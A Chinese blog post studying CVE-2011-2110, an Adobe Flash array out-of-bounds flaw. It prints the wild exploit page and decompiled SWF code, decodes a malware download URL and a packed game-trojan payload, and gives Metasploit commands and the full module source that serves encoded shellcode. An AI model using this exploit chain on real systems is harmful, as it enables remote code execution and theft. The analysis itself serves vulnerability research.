CVE-2011-2110 漏洞研究

7erry

2011 年 6 月以韩国为首的国家频繁遭受利用了一个 Adobe Flash 漏洞的网页挂马攻击,该漏洞的利用可导致任意代码执行,并由于影响范围较大并被恶名昭著的 Blackhole Exploit 所使用,在地下黑产中广为流传。

影响范围:

Adobe Flash Player before 10.3.181.26 on Windows, Mac OS X, Linux, and Solaris, and 10.3.185.23 and earlier on Android

漏洞分析

调试运行 IE 并打开样本 HTML 文件后程序因触发 Access Violation 异常而崩溃,且崩溃时的代码为 mov eax, dword ptr [ecx+eax*4],一眼数组越界访问漏洞。和其它的 Flash 漏洞分析思路一样先从样本开始分析,样本 HTML 文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>test</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css" media="screen">
html, body { height:100%; background-color: #ffffff;}
body { margin:0; padding:0; overflow:hidden; }
#flashContent { width:100%; height:100%; }
</style>
</head>
<body>
<div id="flashContent">
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400" id="test" align="middle">
<param name="movie" value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="play" value="true" />
<param name="loop" value="true" />
<param name="wmode" value="window" />
<param name="scale" value="showall" />
<param name="menu" value="true" />
<param name="devicefont" value="false" />
<param name="salign" value="" />
<param name="allowScriptAccess" value="sameDomain" />
<!--[if !IE]>-->
<object type="application/x-shockwave-flash" data="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" width="550" height="400">
<param name="movie" value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="play" value="true" />
<param name="loop" value="true" />
<param name="wmode" value="window" />
<param name="scale" value="showall" />
<param name="menu" value="true" />
<param name="devicefont" value="false" />
<param name="salign" value="" />
<param name="allowScriptAccess" value="sameDomain" />
<!--<![endif]-->
<a href="http://www.adobe.com/go/getflash">
<img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="get Adobe Flash Player" />
</a>
<!--[if !IE]>-->
</object>
<!--<![endif]-->
</object>
</div>
</body>
</html>
<script language="javascript" src="http://count23.51yes.com/click.aspx?id=232134399&logo=1" charset="gb2312"></script>

注意到其主要功能为加载 main.swf 文件并传递 info 参数,使用 JPEXS Free Flash Decomiler 反编译 main.swf 文件,得到其核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//* 解析 info 参数
var param:Object = root.loaderInfo.parameters;
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length) {
t_url[i] = t_url[i] ^ 122;
i++;
}
t_url.uncompress();
......

//* 以 info 参数的解析结果为 URL 进行请求
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));

.......

//* 做漏洞利用的准备
onLoadComplete = function(param1:Event):void {
content = loader.data;
i = 0;
while(i < content.length) {
content[i] = content[i] ^ 122;
i++;
}
content.uncompress();
content_len = content.length;
var _loc2_:ByteArray = new ByteArray();
code = _loc2_;
_loc2_.position = 1024 * 1024;
_loc2_.writeInt(2053274210);
_loc2_.writeInt(2053339747);
_loc2_.writeInt(2053405283);
_loc2_.writeObject(_loc2_);
//* 触发漏洞
test();
trace(_loc2_.length);
};

其主要逻辑较为易懂,已在注释中解释。注意到 info 是编码后的恶意文件 URL,对其进行解码

1
2
3
4
5
6
7
8
9
10
import binascii
import zlib
hex_string = "02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656"
binary_string = binascii.unhexlify(hex_string)
# print binary_string
res = ""
for i in binary_string:
res += chr(ord(i) ^ 122)
# print res
print(zlib.decompress(res))

得到

1
http://www.amcia.info/down/cd.txt

再根据 JS 代码逻辑对该文件进行解密

1
2
3
4
5
6
7
import zlib
data = open("./cd.txt", "rb").read()
dec = ""
for i in data:
dec += chr(ord(i) ^ 122)
file = zlib.decompress(dec)
open("decode.bin", "wb").write(file)

用 ImHex 查看解密结果发现是加壳了的 PE 可执行文件,可以推测这是漏洞触发后小马拉的大马

1
2
3
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 D7 B5 A0 42 93 D4 CE 11 93 D4 CE 11 93 D4 CE 11 CA F7 DD 11 91 D4 CE 11 E8 C8 C2 11 92 D4 CE 11 10 C8 C0 11 91 D4 CE 11 FC CB CA 11 97 D4 CE 11 93 D4 CF 11 CC D4 CE 11 50 DB 93 11 9C D4 CE 11 A5 F2 C5 11 97 D4 CE 11 54 D2 C8 11 92 D4 CE 11 52 69 63 68 93 D4 CE 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00

PE32 executable for MS Windows 4.00 (GUI), Intel i386- , PECompact2 compressed, 4 sections

上传到在线沙箱后发现是游戏盗号木马

触发漏洞的 test 函数占了样本恶意代码的绝大部分篇幅,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public function test(... rest) : void
{
var _loc8_:int = 0;
//* 越界索引 rest[0x4000000E] 并接连进行类型转换后赋值给了 _loc2_
var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
var _loc3_:ByteArray = new ByteArray();
_loc3_.position = 0;
_loc3_.writeDouble(_loc2_); //* 将 _loc2_ 写到了 _loc2_ 数组的首个元素中

//* 通过 _loc3_ 计算出基址并据此构造 ROP 链
var _loc4_:uint = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
this.baseaddr = _loc4_;
this.code.position = 0;
this.code.endian = Endian.LITTLE_ENDIAN;
this.code.writeInt(this.pobj - 1 + 16 + 409600);
this.code.endian = Endian.BIG_ENDIAN;
this.code.writeUnsignedInt(0x41414141);
this.code.writeUnsignedInt(0x41414141);
this.code.writeUnsignedInt(0x41414141);
_loc8_ = 0;
while(_loc8_ < 102400)
{
this.code.writeUnsignedInt(0x41414141);
_loc8_++;
}

...

//* 类似的通过数组越界读取基地并构造 ROP 链
var _loc5_:Number = new Number(parseFloat(String(rest[0x3FFFFF96])));
var _loc6_:ByteArray;
(_loc6_ = new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint = _loc6_[0] * 0x1000000 + _loc6_[1] * 0x10000 + _loc6_[2] * 0x100 + _loc6_[3];
this.pobj = _loc7_; //* 第二次信息泄露
_loc8_ = 0;
this.pobj += 56;
_loc8_ = 0;
while(_loc8_ < 100)
{
this.code.writeInt(this.pobj);
_loc8_++;
}
var _loc9_:Number = new Number(parseFloat(String(rest[0x3FFFFFBA])));
_loc3_.position = 0;
_loc3_.writeDouble(_loc9_);
_loc4_ = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
this.pobj = _loc4_ + 2; //* 第三次信息泄露
ExternalInterface.call("",this.pobj.toString(16));
_loc8_ = 0;
while(_loc8_ < 100)
{
this.code.writeInt(this.pobj);
_loc8_++;
}
}

...

注意到三处类似于计算基址的代码,可推测数组越界访问就发生在那三处,修改任意一处的数组索引地址,例如修改第一处的索引值为 0x41414141 并重新编译为 swf 文件开启调试发现 IE 再次因 Access Violation 异常而崩溃,而此时存放数组索引的寄存器 eax 内的值正是 0x41414141,故漏洞发生于此

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2011-2110

搜索结果

1
2
3
4
5
6
7
8
9
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/adobe_flashplayer_arrayindexing 2012-06-21 great No Adobe Flash Player AVM Verification Logic Array Indexing Code Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/browser/adobe_flashplayer_arrayindexing

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/browser/adobe_flashplayer_arrayindexing
msf6 exploit(windows/browser/adobe_flashplayer_arrayindexing) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
       Name: Adobe Flash Player AVM Verification Logic Array Indexing Code Execution
Module: exploit/windows/browser/adobe_flashplayer_arrayindexing
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2012-06-21

Provided by:
mr_me <steventhomasseeley@gmail.com>
Unknown

Available targets:
Id Name
-- ----
=> 0 Automatic

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the local machine or ******* to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 2000
Avoid: 1 characters

Description:
This module exploits a vulnerability in Adobe Flash Player versions ***********
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
vulnerability that was used for attacks against Korean based organizations.

Specifically, this issue occurs when indexing an array using an arbitrary value,
memory can be referenced and later executed. Taking advantage of this issue does not rely
on heap spraying as the vulnerability can also be used for information leakage.

Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
is very reliable.

References:
https://nvd.nist.gov/vuln/detail/CVE-2011-2110
OSVDB (73007)
http://www.securityfocus.com/bid/48268
http://www.adobe.com/devnet/swf.html
http://www.adobe.com/support/security/bulletins/apsb11-18.html
http://www.accessroot.com/arteam/site/download.php?view.331
http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/browser/adobe_flashplayer_arrayindexing) > set payload windows/exec
msf6 exploit(windows/browser/adobe_flashplayer_arrayindexing) > set CMD calc.exe
msf6 exploit(windows/browser/adobe_flashplayer_arrayindexing) > exploit

随后 MSF 将在本地启动 Web Server 并在攻击目标访问时为其响应 HTML 页面和异常 swf 文件以触发漏洞

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploit/windows/browser/adobe_flashplayer_arrayindexing.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'DefaultOptions' => {...},
'Payload' => {...},
'Platform' => 'win',
'Targets' => [...],
'DisclosureDate' => '2012-06-21',
'DefaultTarget' => 0))
end

def exploit
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
# full aslr/dep bypass using the info leak as per malware
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close
super
end

def check_dependencies
use_zlib
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /MSIE/
return targets[0] # ie 6/7/8 tested working
elsif agent =~ /Firefox/
return targets[0] # ff 10.2 tested working
else
return nil
end
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

xor_byte = 122
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
code = rand_text_alpha(rand(6)+3) + ".txt"

sc = Zlib::Deflate.deflate(payload.encoded)
shellcode = ""

sc.each_byte do | c |
shellcode << (xor_byte ^ c)
end

uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"

bd_uri = Zlib::Deflate.deflate(uri)

uri = ""
bd_uri.each_byte do | c |
uri << (xor_byte ^ c)
end

bd_uri = uri.unpack("H*")[0]

obj_id = rand_text_alpha(rand(6)+3)

if request.uri.match(/\.swf/i)
print_status("Sending malicious swf")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end

if request.uri.match(/\.txt/i)
print_status("Sending payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end

html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="#{obj_id}" width="600" height="400"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
width="320" height="300" name="#{obj_id}" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS

html = html.gsub(/^ {4}/, '')

print_status("Sending #{self.name} HTML")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end

可以看到 MSF 的 exp 也是利用类似于样本的 swf 文件实现漏洞利用。如果在调试时查看三次信息泄露时泄露的基址所属的内存区域,将会发现第一次泄露的是用于计算 ROP 地址的基址,第二次泄漏的是 code 对象的地址,第三次泄露的是指向 NOPsled + ROP + shellcode 的地址。最终样本将第三次泄露的地址传给 Number 对象,即以下指令达到任意代码执行的目的

1
Number(rest[0x3FFFFFBA])

漏洞修复

patch 添加了对参数数组索引值大小的判断,当索引值大于传递的参数数组元素个数时就跳过数组元素索引以防止越界访问

Reference

NVD - CVE-2011-2110
CVE - CVE-2011-2110
漏洞战争

  • Title: CVE-2011-2110 漏洞研究
  • Author: 7erry
  • Created at : 2025-05-25 18:53:57
  • Updated at : 2025-05-25 18:53:57
  • Link: https://7erryx.github.io/2025/05/25/Vulnerability Investigation/CVE-2011-2110 漏洞研究/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CVE-2011-2110 漏洞研究